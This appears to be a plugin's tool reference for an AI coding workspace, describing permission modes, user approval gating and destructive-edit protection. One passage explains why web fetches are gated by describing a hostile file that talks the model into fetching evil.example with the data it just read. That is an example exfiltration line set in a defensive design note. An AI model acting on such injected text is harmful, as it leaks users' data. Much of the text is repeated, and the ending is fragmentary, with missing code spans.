docs / TOOL_REFERENCE.md
docs / TOOL_REFERENCE.md
Ten public tools. workspace_inspect, workspace_edit and workspace_notes are always registered; workspace_plan is registered whenever the permission mode is not Auto; the rest depend on plugin settings (noted per tool). If the runtime cannot initialize, a single agentic_workspace_status diagnostic tool is registered instead.
Every public tool returns:
{ protocol: "agentic-workspace/v1"; ok: boolean; operation: string; summary: string; retention: { importance: "low" | "normal" | "high" | "critical"; facts?: string[]; omit_when_summarizing?: string[]; }; artifacts?: Array<{ kind: string; path: string; sha256: string; bytes: number; description?: string; }>; data?: unknown; error?: { code: string; message: string; details?: Record<string, unknown> }; }
The Permission mode setting (permissionMode, slider 0–2, default 1) decides whether a mutating action executes, is staged for the user's decision, or is refused.
| Level | Mode | Behaviour |
|---|---|---|
| 0 | Manual | Every mutating call returns data.status = "pending_approval" with an approval_* id (the exceptions are no-ops — re-committing an applied transaction, rolling back one already rolled back — and a sub-agent run with neither commands nor web access, which has nothing to gate). Nothing else runs until the user replies /accept. |
| 1 | Plan (default) | Mutating calls fail with APPROVAL_REQUIRED until the user approves a plan proposed with workspace_plan. After /accept plan_* they run unasked until workspace_plan(action="complete"). |
| 2 | Auto | Mutating calls run immediately. workspace_plan is not registered. |
Gated actions per tool:
| Tool | Gated actions | Auto | Plan, no approved plan | Plan, approved plan | Manual |
|---|---|---|---|---|---|
workspace_edit | apply, commit, rollback | runs | APPROVAL_REQUIRED | runs | staged |
workspace_command | run, start | runs | APPROVAL_REQUIRED | runs | staged |
workspace_vcs | init, add, commit, checkout, branch (create or delete), push, issue_create, pr_create | runs | APPROVAL_REQUIRED | runs | staged |
workspace_research | search, fetch, deep |
Never gated: workspace_inspect, workspace_plan, workspace_notes, workspace_tasks, and every ungated action (preview, show, list, status, cancel, diff, log, gh_auth, open, read, close, note, archive, workspace_research start, …). workspace_command start and workspace_agent start are gated like run.
workspace_research search, fetch and deep are gated as kind: "web". They are read-shaped but they reach a host outside this machine, which is a decision the user owns: a hostile file in the workspace only has to talk the model into fetch https://evil.example/?k=<what it just read>, and no workspace boundary sits in front of that. Browser control was already gated for the same reason. The local research actions (start, note, show, list, archive) touch only .agentic/ state and are not gated.
Destructive operations — a transaction that deletes, moves, or overwrites content that already exists (a delete of an existing file; any move, because it removes the source — copy keeps it; a rewrite of an existing file; create or copy with overwrite: true over a target that exists; create with overwrite: true whose target does not exist is not destructive, so scaffolding into an empty directory needs no ceiling), a forced rollback, checkout, branch delete, and push with force: true (sent as --force-with-lease) — additionally require Allow destructive commits (allowDestructiveEdits). Without it they fail with PROTECTED_PATH in every mode, before any approval is considered. The refusal names the attempted command and the allowDestructiveEdits setting; for a transaction it also names each operation and path that made the plan destructive, with the non-destructive alternative where there is one (rewrite of an existing file → replace), and for , and a forced it names the alternative too (for : with ).
data also carries the tool's normal preview fields (for edit.apply: the planned transaction, diffPreview, committed: false, and the diff/review artifacts). approval.kind is transaction, command, vcs, browser, web or agent. After /accept the model issues exactly approval.resume — for edit.apply that is commit of the planned transaction. The approval is bound to the SHA-256 of the normalized operation — for a transaction, the same operations against the same file contents (the before-hash of every file it touches) — so a different call, or the same edit after a touched file changed on disk, never matches it; it is consumed once the mutation succeeds. Re-issuing the same call while it is pending returns the same approval id instead of staging a duplicate.
The prompt preprocessor recognises, at the start of a user message:
Without an id the most recently staged pending record is decided, and only that one — plans included. Pending records are ordered newest-first everywhere they are shown, so a bare /accept always takes the first entry of that list. When more than one approval is waiting, use /accept <id>: a bare /accept will otherwise decide whichever was staged last, which is rarely the one the user was reading about. Deciding several means one command per id. The message is replaced with an <agentic-approval> block telling the model what was decided and the exact call to resume with; a /deny reason is passed on and the model is told never to re-issue a denied operation unchanged. /compress, /compact and /usage are left to the context compressor.
Whenever the mode is not Auto, the preprocessor also appends an <agentic-mode> block to each user message. In Plan mode it states the mode and the pending or approved plan (with its age); in Manual mode it states the mode and up to five pending approvals — listed newest-first and labelled as such, so the model can report the id a user should name rather than relying on a bare /accept. Titles are clipped to 60 bytes there, so the block's size is bounded whatever a staged operation was called.
Records live in .agentic/approvals/state.json (plugin-owned; never reachable through workspace_edit). Statuses: pending, approved, denied, consumed, completed (plans), superseded (plans), expired. Records expire 24 hours after they were created while pending, approved or denied — plans included, so an approved plan unlocks Plan mode for a day and not forever; a denial blocks the identical operation with APPROVAL_DENIED until then. consumed, completed and superseded are terminal. Proposing a new plan supersedes any pending or approved one. At most 300 records are kept.
| Code | Meaning |
|---|---|
APPROVAL_REQUIRED | Plan mode with no approved plan: propose one with workspace_plan and wait for /accept. |
APPROVAL_DENIED | The user denied this exact operation (details.approvalId). Change it or ask the user. |
PROTECTED_PATH | A destructive operation while Allow destructive commits is off (the same code protects .git/**, .agentic/** and configured globs). |
TRANSACTION_STATE | complete on a plan that is not approved; deciding a record that is not pending. |
NOT_FOUND | Unknown approval or plan id; /accept or /deny with nothing pending. |
workspace_inspectActions:
capabilitiesoverviewlistreadsearchsemantic_searchcapabilities reports permissionMode and permissionLevel, activePlan, pendingPlan, pendingApprovals (count), notes (count, memoryExists, memoryPath), the registered tools, and the .agentic/ storage map. overview adds the same plan/approval/memory summary to the workspace tree. changes lists transactions, runs, jobs (command jobs: id, status, executable, exitCode, startedAt — the one route back to a job_ id after compression, so it is never omitted when summarizing), taskBoards, researchProjects, approvals (pending or approved, non-plan) and plans (with ) for recovery after context compression. Each transaction entry carries / / (each list capped at 20 paths, with /), so a -only transaction is not reported as one that changed nothing; uses the same shape. Reads are line-numbered and hashed. Large listings, searches, and reads are written to artifacts.
.agentic/ is readable, not writableThe protection on .git/**, .agentic/** and the configured protected globs applies to model edits. workspace_inspect — read, list, search, semantic_search, find, stat — reads them like any other path inside the workspace, and that is deliberate: a model recovers after compaction by reading .agentic/MEMORY.md, a stored research source's contentPath, a transaction's changes.diff or review.md, a task board's state.json, or a plan's plan.md, all of which the envelopes hand it as paths. Making them unreadable would break every one of those recovery routes.
Two consequences follow. A write to any of those paths still fails with PROTECTED_PATH, whichever tool attempts it, so durable state can only change through the tool that owns it. And .agentic/ content is model-visible, so anything a scenario would not want a model to read — credentials in a fetched page, for example — should not be fetched into it in the first place; protect it with protectedPatterns and it is still readable, only unwritable.
workspace_editActions:
previewapplycommitrollbackshowlistOperations:
mkdir creates an empty directory (create already makes parent directories automatically) and never marks a transaction destructive; the plan records each directory with existedBefore.
content, replacement and search are rejected with INVALID_INPUT when they still carry the 12 | gutter that a line-numbered workspace_inspect read adds: writing it would corrupt the file, and a search that carries it can never match. The check needs all three of: a majority of the non-empty lines matching N | , at least two of them, and a run of at least two adjacent lines whose numbers ascend by exactly one. The run is what separates read output — by construction n, n+1, n+2 — from data that happens to use pipes. It therefore leaves alone a leading-pipe markdown table (no line starts with a bare number) and any non-monotonic numeric column: descending, sparse, or stepped. It does not claim to leave alone a genuinely consecutive numeric first column (1 | a, 2 | b, 3 | c, or consecutive years): that is indistinguishable from read output, and allow_line_numbers: true on the operation is the escape hatch for it.
A single numbered line is below any threshold that check can safely use, so it is never flagged. Instead, when a replace finds zero matches, the EDIT_CONFLICT message reports whether stripping the gutter from search would have matched and how many times. That probe runs only after the edit has already failed, so it cannot reject a legitimate call — but it can still be wrong about the cause (2 | beta is also a table row, 1 | 2 => Foo, a match arm), so it is worded as a condition to check ("if this text was copied from a read result…") rather than an instruction to strip and retry. It never rewrites the operation.
A mkdir is refused with EDIT_CONFLICT at preview when its target — or any ancestor of it — already exists as a file, or when another operation in the same transaction claims that path as a file; either order of the two operations is rejected. If every requested directory already exists and nothing else in the transaction changes, the preview fails with INVALID_INPUT naming those directories: nothing is missing, so the call does not need to be re-issued.
On rollback, only the directories listed in the plan are removed; parents created implicitly by mkdir -p are left in place (matching how create already behaves). A listed directory is removed only while it is still an empty directory this transaction created: user content added afterwards is never deleted, and a path since replaced by a file or a symlink is left untouched and named in the rollback summary. A commit that cannot create a directory is different — it fails before touching anything, or removes every level it created, so a failed commit never leaves a stray directory behind.
Use idempotency_key for retryable operations. Reusing a key with different normalized operations returns a conflict.
apply is preview plus commit in one call and is gated as a commit of the planned transaction: when staged, the transaction stays planned and the resume call is commit with its transaction_id. The approval matches the same operations against the same file contents: if a touched file changes on disk, a re-issued apply previews a new transaction with a different before-hash and is staged again, and the original approval stays approved (unconsumed) until it expires. commit of an already applied transaction is a no-op and never stages a fresh approval. rollback has its own approval hash, so approving a commit never authorises undoing it; force: true is destructive.
workspace_planRegistered when the permission mode is not Auto. Never gated.
Actions:
On every action that returns a plan, markdown and plan.steps are omitted when summarizing; propose keeps the first ten steps in retention.facts.
Plan ids are plan_*. A plan is decided with /accept plan_* or /deny plan_*. Once a plan is approved, propose again only when the plan itself must change: a new proposal supersedes the approved plan and locks mutating tools again until it is approved. In Manual mode an approved plan is informational only: every mutating call is still staged individually.
workspace_notesAlways registered. Never gated: notes are plugin-owned state under .agentic/, not workspace edits.
Actions: write, append, read, list, delete.
Parameters: name, content, memory (boolean), limit (1–200, list only, default 100).
workspace_tasksAvailable only when To-Do boards are enabled. No approval needed: never gated by the permission mode.
Actions:
create, list, showadd, update, Items contain text, status, priority, optional details and depends_on; evidence starts empty and is added through update. Dependency references must exist and the graph must remain acyclic.
Inside one create or add call a depends_on entry may also be a 1-based position — "1", "2", … — naming the n-th item of that same call, which resolves to the item_ id minted for it. No item_ id exists before the call returns, so this is the only way to express a dependency while creating a board. Positions may point forward (item 1 may depend on "2"); a position outside 1..n, a position naming its own item, and a real cycle each fail with INVALID_INPUT. Anything that is neither a position nor an item_ id fails with INVALID_INPUT naming the reference. update patches one existing item and has no batch to index into, so depends_on there takes item_ ids only; a position fails with INVALID_INPUT saying it is valid only inside the create/add call that mints the items.
workspace_researchAvailable only when web research is enabled. search, fetch and deep are gated by the permission mode as web egress (kind: "web"); start, note, show, list and archive are not.
Actions:
Providers: auto, duckduckgo, wikipedia, searxng.
fetch returns data.text (the page text bounded by maxToolResultChars, with the full text stored as an artifact or as the source's contentPath) and data.links (the extracted anchors, in document order). data.links gets its own share of the budget — a quarter of maxToolResultChars, at least 1000 characters — and data.linksOmitted counts what did not fit; both data.text and data.links are declared in retention.omit_when_summarizing, so they are dropped when the transcript is compacted. Raise maxToolResultChars, or re-fetch, to see more links.
workspace_commandAvailable only when process execution is enabled (on by default). run and start are gated by the permission mode; status and cancel are not.
Actions:
runstartstatus — optionally tail_charscancelPass executable and args separately. cwd is workspace-relative. Full output is stored under .agentic/jobs/<job-id>/.
timeout_seconds defaults to the configured Maximum command duration and is capped by it. timeout_seconds: 0 is the one exception: no timer is armed and the cap does not apply, so start can hold a dev server, watcher or other long-lived process open until cancel stops it, it exits on its own, or the plugin restarts — a job whose process was lost to a restart reports orphaned on the next status. It is accepted only with start: a foreground run has no abort path of its own, so an unbounded one is refused with an INVALID_INPUT that names both repairs — omit timeout_seconds (or pass a positive number) for run, or use start for a background job. Any other value below one second is INVALID_INPUT.
cancel on a job that has already finished is not an error, but the result says so: the summary reads <job id> was already <status> before cancel: no process was running, so nothing was stopped. Check the job id if you expected to stop a running job. (with the job's actual status), and retention.facts carries the same fact, so a wrong job_id is visible instead of looking like a clean cancellation.
status { job_id, tail_chars } adds data.stdoutTail and data.stderrTail: the last tail_chars characters (100–20000, default 2000) of the job's logs, read from the end of the file rather than by loading it, so tailing a multi-gigabyte log stays cheap. A running job is tailed with the default even when tail_chars is omitted; a finished job is tailed only when it is asked for, from the same files its artifacts point at. Both fields are declared in retention.omit_when_summarizing, so they are dropped when the transcript is compacted — call status again for a fresh tail.
Executables are resolved on PATH first, then in the project's node_modules/.bin. On Windows, npm-generated .cmd shims (npm, npx, tsc, eslint, …) are run as node <script> — no shell is ever used. data.resolvedExecutable / data.resolvedScript show what actually ran (for a shim, the node binary and the JS entry). For npm/npx the Node-bundled CLI next to node.exe is used; the prefix-installed npm that npm.cmd would pick at runtime is not consulted.
workspace_vcsRegistered when process execution and VCS tools are enabled; git (and gh for the GitHub actions) must also be on the executable allowlist, or each call fails at run time with EXECUTABLE_DENIED.
Actions:
init, add, commit, checkout, branch with create or delete, push, issue_create and pr_create are gated by the permission mode; branch without either flag lists branches and is read-only. checkout, branch delete and push with force: true (sent as --force-with-lease) are destructive and require Allow destructive commits.
workspace_browserAvailable only when browser sessions are enabled. control is gated by the permission mode; open, read, list and close are not.
Actions:
openreadcontrollistcloseControl action types:
navigateclickclick_textworkspace_agentAvailable only when durable sub-agents are enabled.
Actions:
runstartstatushistorycancellistStart parameters: objective (required, at most 20,000 characters), context (at most 100,000 characters), role, model_id, mode (coding, research or general), commit_edits, allow_commands, allow_web, task_board_id, research_project_id, max_passes, rounds_per_pass, max_tool_calls, and idempotency_key.
commit_edits decides whether the run commits its own transactions. Its default comes from the permission mode — Auto and an approved Plan: true; Manual: false — and commit_edits may only lower that default: false always wins, true cannot raise it. With commit_edits=false the run previews its edits (transactions stay planned; their ids are cited in the run's evidence) and the main model commits them afterwards with workspace_edit(action="commit"), which is gated as usual.
Manual-mode rule: runs start with commit_edits=false. The run/start call itself is staged (pending_approval) when the run could execute commands — process execution and Allow agents to run commands are on and allow_commands is not false (research mode defaults to no commands) — or reach the web: Enable web research tools and Allow sub-agents to use web research are on and allow_web is not false. The gate sits at the run's entry because the run's own web_search / fetch_source calls are never seen individually. A run that can do neither starts immediately. In Plan mode run/start fail with APPROVAL_REQUIRED until a plan is approved.
commitEdits is part of the run's idempotency specification: re-issuing an idempotency_key after a mode change that flips that default commit_edits (Manual ↔ Plan/Auto) yields a different specification and is rejected with EDIT_CONFLICT. Input validation (INVALID_INPUT for a missing or over-long objective or context) runs before gating, so an invalid request is never staged.
A completed run returns final summary, evidence, remaining work, confidence, changed paths, transactions, jobs, sources, and durable state/transcript paths.
Ten public tools. workspace_inspect, workspace_edit and workspace_notes are always registered; workspace_plan is registered whenever the permission mode is not Auto; the rest depend on plugin settings (noted per tool). If the runtime cannot initialize, a single agentic_workspace_status diagnostic tool is registered instead.
Every public tool returns:
{ protocol: "agentic-workspace/v1"; ok: boolean; operation: string; summary: string; retention: { importance: "low" | "normal" | "high" | "critical"; facts?: string[]; omit_when_summarizing?: string[]; }; artifacts?: Array<{ kind: string; path: string; sha256: string; bytes: number; description?: string; }>; data?: unknown; error?: { code: string; message: string; details?: Record<string, unknown> }; }
The Permission mode setting (permissionMode, slider 0–2, default 1) decides whether a mutating action executes, is staged for the user's decision, or is refused.
| Level | Mode | Behaviour |
|---|---|---|
| 0 | Manual | Every mutating call returns data.status = "pending_approval" with an approval_* id (the exceptions are no-ops — re-committing an applied transaction, rolling back one already rolled back — and a sub-agent run with neither commands nor web access, which has nothing to gate). Nothing else runs until the user replies /accept. |
| 1 | Plan (default) | Mutating calls fail with APPROVAL_REQUIRED until the user approves a plan proposed with workspace_plan. After /accept plan_* they run unasked until workspace_plan(action="complete"). |
| 2 | Auto | Mutating calls run immediately. workspace_plan is not registered. |
Gated actions per tool:
| Tool | Gated actions | Auto | Plan, no approved plan | Plan, approved plan | Manual |
|---|---|---|---|---|---|
workspace_edit | apply, commit, rollback | runs | APPROVAL_REQUIRED | runs | staged |
workspace_command | run, start | runs | APPROVAL_REQUIRED | runs | staged |
workspace_vcs | init, add, commit, checkout, branch (create or delete), push, issue_create, pr_create | runs | APPROVAL_REQUIRED | runs | staged |
workspace_research | search, fetch, deep |
Never gated: workspace_inspect, workspace_plan, workspace_notes, workspace_tasks, and every ungated action (preview, show, list, status, cancel, diff, log, gh_auth, open, read, close, note, archive, workspace_research start, …). workspace_command start and workspace_agent start are gated like run.
workspace_research search, fetch and deep are gated as kind: "web". They are read-shaped but they reach a host outside this machine, which is a decision the user owns: a hostile file in the workspace only has to talk the model into fetch https://evil.example/?k=<what it just read>, and no workspace boundary sits in front of that. Browser control was already gated for the same reason. The local research actions (start, note, show, list, archive) touch only .agentic/ state and are not gated.
Destructive operations — a transaction that deletes, moves, or overwrites content that already exists (a delete of an existing file; any move, because it removes the source — copy keeps it; a rewrite of an existing file; create or copy with overwrite: true over a target that exists; create with overwrite: true whose target does not exist is not destructive, so scaffolding into an empty directory needs no ceiling), a forced rollback, checkout, branch delete, and push with force: true (sent as --force-with-lease) — additionally require Allow destructive commits (allowDestructiveEdits). Without it they fail with PROTECTED_PATH in every mode, before any approval is considered. The refusal names the attempted command and the allowDestructiveEdits setting; for a transaction it also names each operation and path that made the plan destructive, with the non-destructive alternative where there is one (rewrite of an existing file → replace), and for , and a forced it names the alternative too (for : with ).
data also carries the tool's normal preview fields (for edit.apply: the planned transaction, diffPreview, committed: false, and the diff/review artifacts). approval.kind is transaction, command, vcs, browser, web or agent. After /accept the model issues exactly approval.resume — for edit.apply that is commit of the planned transaction. The approval is bound to the SHA-256 of the normalized operation — for a transaction, the same operations against the same file contents (the before-hash of every file it touches) — so a different call, or the same edit after a touched file changed on disk, never matches it; it is consumed once the mutation succeeds. Re-issuing the same call while it is pending returns the same approval id instead of staging a duplicate.
The prompt preprocessor recognises, at the start of a user message:
Without an id the most recently staged pending record is decided, and only that one — plans included. Pending records are ordered newest-first everywhere they are shown, so a bare /accept always takes the first entry of that list. When more than one approval is waiting, use /accept <id>: a bare /accept will otherwise decide whichever was staged last, which is rarely the one the user was reading about. Deciding several means one command per id. The message is replaced with an <agentic-approval> block telling the model what was decided and the exact call to resume with; a /deny reason is passed on and the model is told never to re-issue a denied operation unchanged. /compress, /compact and /usage are left to the context compressor.
Whenever the mode is not Auto, the preprocessor also appends an <agentic-mode> block to each user message. In Plan mode it states the mode and the pending or approved plan (with its age); in Manual mode it states the mode and up to five pending approvals — listed newest-first and labelled as such, so the model can report the id a user should name rather than relying on a bare /accept. Titles are clipped to 60 bytes there, so the block's size is bounded whatever a staged operation was called.
Records live in .agentic/approvals/state.json (plugin-owned; never reachable through workspace_edit). Statuses: pending, approved, denied, consumed, completed (plans), superseded (plans), expired. Records expire 24 hours after they were created while pending, approved or denied — plans included, so an approved plan unlocks Plan mode for a day and not forever; a denial blocks the identical operation with APPROVAL_DENIED until then. consumed, completed and superseded are terminal. Proposing a new plan supersedes any pending or approved one. At most 300 records are kept.
| Code | Meaning |
|---|---|
APPROVAL_REQUIRED | Plan mode with no approved plan: propose one with workspace_plan and wait for /accept. |
APPROVAL_DENIED | The user denied this exact operation (details.approvalId). Change it or ask the user. |
PROTECTED_PATH | A destructive operation while Allow destructive commits is off (the same code protects .git/**, .agentic/** and configured globs). |
TRANSACTION_STATE | complete on a plan that is not approved; deciding a record that is not pending. |
NOT_FOUND | Unknown approval or plan id; /accept or /deny with nothing pending. |
workspace_inspectActions:
capabilitiesoverviewlistreadsearchsemantic_searchcapabilities reports permissionMode and permissionLevel, activePlan, pendingPlan, pendingApprovals (count), notes (count, memoryExists, memoryPath), the registered tools, and the .agentic/ storage map. overview adds the same plan/approval/memory summary to the workspace tree. changes lists transactions, runs, jobs (command jobs: id, status, executable, exitCode, startedAt — the one route back to a job_ id after compression, so it is never omitted when summarizing), taskBoards, researchProjects, approvals (pending or approved, non-plan) and plans (with ) for recovery after context compression. Each transaction entry carries / / (each list capped at 20 paths, with /), so a -only transaction is not reported as one that changed nothing; uses the same shape. Reads are line-numbered and hashed. Large listings, searches, and reads are written to artifacts.
.agentic/ is readable, not writableThe protection on .git/**, .agentic/** and the configured protected globs applies to model edits. workspace_inspect — read, list, search, semantic_search, find, stat — reads them like any other path inside the workspace, and that is deliberate: a model recovers after compaction by reading .agentic/MEMORY.md, a stored research source's contentPath, a transaction's changes.diff or review.md, a task board's state.json, or a plan's plan.md, all of which the envelopes hand it as paths. Making them unreadable would break every one of those recovery routes.
Two consequences follow. A write to any of those paths still fails with PROTECTED_PATH, whichever tool attempts it, so durable state can only change through the tool that owns it. And .agentic/ content is model-visible, so anything a scenario would not want a model to read — credentials in a fetched page, for example — should not be fetched into it in the first place; protect it with protectedPatterns and it is still readable, only unwritable.
workspace_editActions:
previewapplycommitrollbackshowlistOperations:
mkdir creates an empty directory (create already makes parent directories automatically) and never marks a transaction destructive; the plan records each directory with existedBefore.
content, replacement and search are rejected with INVALID_INPUT when they still carry the 12 | gutter that a line-numbered workspace_inspect read adds: writing it would corrupt the file, and a search that carries it can never match. The check needs all three of: a majority of the non-empty lines matching N | , at least two of them, and a run of at least two adjacent lines whose numbers ascend by exactly one. The run is what separates read output — by construction n, n+1, n+2 — from data that happens to use pipes. It therefore leaves alone a leading-pipe markdown table (no line starts with a bare number) and any non-monotonic numeric column: descending, sparse, or stepped. It does not claim to leave alone a genuinely consecutive numeric first column (1 | a, 2 | b, 3 | c, or consecutive years): that is indistinguishable from read output, and allow_line_numbers: true on the operation is the escape hatch for it.
A single numbered line is below any threshold that check can safely use, so it is never flagged. Instead, when a replace finds zero matches, the EDIT_CONFLICT message reports whether stripping the gutter from search would have matched and how many times. That probe runs only after the edit has already failed, so it cannot reject a legitimate call — but it can still be wrong about the cause (2 | beta is also a table row, 1 | 2 => Foo, a match arm), so it is worded as a condition to check ("if this text was copied from a read result…") rather than an instruction to strip and retry. It never rewrites the operation.
A mkdir is refused with EDIT_CONFLICT at preview when its target — or any ancestor of it — already exists as a file, or when another operation in the same transaction claims that path as a file; either order of the two operations is rejected. If every requested directory already exists and nothing else in the transaction changes, the preview fails with INVALID_INPUT naming those directories: nothing is missing, so the call does not need to be re-issued.
On rollback, only the directories listed in the plan are removed; parents created implicitly by mkdir -p are left in place (matching how create already behaves). A listed directory is removed only while it is still an empty directory this transaction created: user content added afterwards is never deleted, and a path since replaced by a file or a symlink is left untouched and named in the rollback summary. A commit that cannot create a directory is different — it fails before touching anything, or removes every level it created, so a failed commit never leaves a stray directory behind.
Use idempotency_key for retryable operations. Reusing a key with different normalized operations returns a conflict.
apply is preview plus commit in one call and is gated as a commit of the planned transaction: when staged, the transaction stays planned and the resume call is commit with its transaction_id. The approval matches the same operations against the same file contents: if a touched file changes on disk, a re-issued apply previews a new transaction with a different before-hash and is staged again, and the original approval stays approved (unconsumed) until it expires. commit of an already applied transaction is a no-op and never stages a fresh approval. rollback has its own approval hash, so approving a commit never authorises undoing it; force: true is destructive.
workspace_planRegistered when the permission mode is not Auto. Never gated.
Actions:
On every action that returns a plan, markdown and plan.steps are omitted when summarizing; propose keeps the first ten steps in retention.facts.
Plan ids are plan_*. A plan is decided with /accept plan_* or /deny plan_*. Once a plan is approved, propose again only when the plan itself must change: a new proposal supersedes the approved plan and locks mutating tools again until it is approved. In Manual mode an approved plan is informational only: every mutating call is still staged individually.
workspace_notesAlways registered. Never gated: notes are plugin-owned state under .agentic/, not workspace edits.
Actions: write, append, read, list, delete.
Parameters: name, content, memory (boolean), limit (1–200, list only, default 100).
workspace_tasksAvailable only when To-Do boards are enabled. No approval needed: never gated by the permission mode.
Actions:
create, list, showadd, update, Items contain text, status, priority, optional details and depends_on; evidence starts empty and is added through update. Dependency references must exist and the graph must remain acyclic.
Inside one create or add call a depends_on entry may also be a 1-based position — "1", "2", … — naming the n-th item of that same call, which resolves to the item_ id minted for it. No item_ id exists before the call returns, so this is the only way to express a dependency while creating a board. Positions may point forward (item 1 may depend on "2"); a position outside 1..n, a position naming its own item, and a real cycle each fail with INVALID_INPUT. Anything that is neither a position nor an item_ id fails with INVALID_INPUT naming the reference. update patches one existing item and has no batch to index into, so depends_on there takes item_ ids only; a position fails with INVALID_INPUT saying it is valid only inside the create/add call that mints the items.
workspace_researchAvailable only when web research is enabled. search, fetch and deep are gated by the permission mode as web egress (kind: "web"); start, note, show, list and archive are not.
Actions:
Providers: auto, duckduckgo, wikipedia, searxng.
fetch returns data.text (the page text bounded by maxToolResultChars, with the full text stored as an artifact or as the source's contentPath) and data.links (the extracted anchors, in document order). data.links gets its own share of the budget — a quarter of maxToolResultChars, at least 1000 characters — and data.linksOmitted counts what did not fit; both data.text and data.links are declared in retention.omit_when_summarizing, so they are dropped when the transcript is compacted. Raise maxToolResultChars, or re-fetch, to see more links.
workspace_commandAvailable only when process execution is enabled (on by default). run and start are gated by the permission mode; status and cancel are not.
Actions:
runstartstatus — optionally tail_charscancelPass executable and args separately. cwd is workspace-relative. Full output is stored under .agentic/jobs/<job-id>/.
timeout_seconds defaults to the configured Maximum command duration and is capped by it. timeout_seconds: 0 is the one exception: no timer is armed and the cap does not apply, so start can hold a dev server, watcher or other long-lived process open until cancel stops it, it exits on its own, or the plugin restarts — a job whose process was lost to a restart reports orphaned on the next status. It is accepted only with start: a foreground run has no abort path of its own, so an unbounded one is refused with an INVALID_INPUT that names both repairs — omit timeout_seconds (or pass a positive number) for run, or use start for a background job. Any other value below one second is INVALID_INPUT.
cancel on a job that has already finished is not an error, but the result says so: the summary reads <job id> was already <status> before cancel: no process was running, so nothing was stopped. Check the job id if you expected to stop a running job. (with the job's actual status), and retention.facts carries the same fact, so a wrong job_id is visible instead of looking like a clean cancellation.
status { job_id, tail_chars } adds data.stdoutTail and data.stderrTail: the last tail_chars characters (100–20000, default 2000) of the job's logs, read from the end of the file rather than by loading it, so tailing a multi-gigabyte log stays cheap. A running job is tailed with the default even when tail_chars is omitted; a finished job is tailed only when it is asked for, from the same files its artifacts point at. Both fields are declared in retention.omit_when_summarizing, so they are dropped when the transcript is compacted — call status again for a fresh tail.
Executables are resolved on PATH first, then in the project's node_modules/.bin. On Windows, npm-generated .cmd shims (npm, npx, tsc, eslint, …) are run as node <script> — no shell is ever used. data.resolvedExecutable / data.resolvedScript show what actually ran (for a shim, the node binary and the JS entry). For npm/npx the Node-bundled CLI next to node.exe is used; the prefix-installed npm that npm.cmd would pick at runtime is not consulted.
workspace_vcsRegistered when process execution and VCS tools are enabled; git (and gh for the GitHub actions) must also be on the executable allowlist, or each call fails at run time with EXECUTABLE_DENIED.
Actions:
init, add, commit, checkout, branch with create or delete, push, issue_create and pr_create are gated by the permission mode; branch without either flag lists branches and is read-only. checkout, branch delete and push with force: true (sent as --force-with-lease) are destructive and require Allow destructive commits.
workspace_browserAvailable only when browser sessions are enabled. control is gated by the permission mode; open, read, list and close are not.
Actions:
openreadcontrollistcloseControl action types:
navigateclickclick_textworkspace_agentAvailable only when durable sub-agents are enabled.
Actions:
runstartstatushistorycancellistStart parameters: objective (required, at most 20,000 characters), context (at most 100,000 characters), role, model_id, mode (coding, research or general), commit_edits, allow_commands, allow_web, task_board_id, research_project_id, max_passes, rounds_per_pass, max_tool_calls, and idempotency_key.
commit_edits decides whether the run commits its own transactions. Its default comes from the permission mode — Auto and an approved Plan: true; Manual: false — and commit_edits may only lower that default: false always wins, true cannot raise it. With commit_edits=false the run previews its edits (transactions stay planned; their ids are cited in the run's evidence) and the main model commits them afterwards with workspace_edit(action="commit"), which is gated as usual.
Manual-mode rule: runs start with commit_edits=false. The run/start call itself is staged (pending_approval) when the run could execute commands — process execution and Allow agents to run commands are on and allow_commands is not false (research mode defaults to no commands) — or reach the web: Enable web research tools and Allow sub-agents to use web research are on and allow_web is not false. The gate sits at the run's entry because the run's own web_search / fetch_source calls are never seen individually. A run that can do neither starts immediately. In Plan mode run/start fail with APPROVAL_REQUIRED until a plan is approved.
commitEdits is part of the run's idempotency specification: re-issuing an idempotency_key after a mode change that flips that default commit_edits (Manual ↔ Plan/Auto) yields a different specification and is rejected with EDIT_CONFLICT. Input validation (INVALID_INPUT for a missing or over-long objective or context) runs before gating, so an invalid request is never staged.
A completed run returns final summary, evidence, remaining work, confidence, changed paths, transactions, jobs, sources, and durable state/transcript paths.
| runs |
APPROVAL_REQUIRED |
| runs |
| staged |
workspace_browser | control | runs | APPROVAL_REQUIRED | runs | staged |
workspace_agent | run, start | runs; the run commits its own edits | APPROVAL_REQUIRED | runs; the run commits its own edits | starts with commit_edits=false; staged when the run may execute commands or reach the web |
checkoutbranch --deletepushcheckoutbranchcreate: truefindstatchangesplanPathfileCountfilesdirectoryCountdirectoriesfilesTruncateddirectoriesTruncatedmkdirworkspace_edit listpropose — title, objective and steps are required (1–40 steps, each a string or { "text", "kind" } with kind one of edit, command, vcs, research, other). Optional files ({ "path", "change" } with change one of create, modify, delete, move; at most 100), commands ({ "executable", "args" }; a bare executable name — the allowlist is enforced when the command runs; at most 40), risks and questions (at most 40 each). Text fields are limited to 2,000 characters. Proposing supersedes any pending or approved plan (the revision increments and supersedes names the previous id). The plan is written to .agentic/plans/<plan_id>/plan.md (inside the store lock, before the record exists). Returns planId, status: "pending", revision, plan, planPath, markdown and an instruction to restate the plan and stop. In Manual mode the summary and instruction add that each mutating call still needs its own /accept and the plan is a shared checklist.current — the pending plan, else the approved one, else { "status": "none" }.show — plan_id required.complete — plan_id defaults to the approved plan; summary optional. Ends the approved plan; in Plan mode mutating tools are locked again. complete on a plan the user has not accepted yet fails TRANSACTION_STATE with a message that names the plan id and says to stop and wait: nothing runs until the user replies, and calling complete or show again cannot change that.list — limit 1–100 (default 20), newest first..agentic/notes/<name>.md (at most 200,000 bytes each). name uses letters, digits, ., _ or -, starts with a letter or digit, and is at most 64 characters; a trailing .md is stripped; Windows reserved device names are rejected.memory: true — or the name MEMORY / memory.md in any case — targets .agentic/MEMORY.md (at most 64,000 bytes), the durable workspace memory. It can be read, written and appended but not deleted.append separates the new text with a blank line; files are always newline-terminated.list returns up to limit notes (default 100, with total and a "showing N" clause when more exist) plus whether the memory file exists and its size; the notes array is omitted when summarizing and the first 20 names stay in retention.facts.removenote, checkpointnextarchive, reopensearch — query a provider, optionally recording the result under research_id.fetch — fetch/extract a URL, optionally creating a durable source_id.start — create a research project.deep — start or await a bounded research agent (needs durable sub-agents enabled too, else AGENT_DISABLED). The run is started with commit_edits=false and allow_commands=false; it never commits edits.list, shownote — add a sourced finding/claim/question/warning/method.archiveinit — creates a repository in cwd; branch sets the initial branch. Gated by the permission mode as a non-destructive mutation (it creates .git/ in the user's tree).status, diff, log, showadd, commit, checkout, branch, pushgh_authissue_list, 